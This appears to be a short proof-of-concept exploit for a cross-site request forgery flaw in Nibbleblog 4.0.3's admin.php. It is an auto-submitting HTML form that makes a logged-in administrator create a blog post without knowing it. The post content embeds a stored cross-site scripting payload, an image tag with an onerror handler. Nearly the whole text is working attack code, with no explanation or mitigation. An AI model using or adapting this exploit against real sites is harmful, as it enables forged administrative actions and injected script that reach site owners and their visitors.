Nibbleblog 4.0.3 admin.php CSRF

                                                <form id="myForm" action="http://localhost/nibbleblog/admin.php?controller=post&action=new_simple" method="POST"> 
<input name="title" value="Interesting!"> 
<input name="content" value="visit <a href='http://example.com'>this</a>.<img src='no' onerror='alert(1)'>"> 
<input name="allow_comments" value="1"> <input name="id_cat" value="0"> </form> 
<script> document.getElementById("myForm").submit(); </script>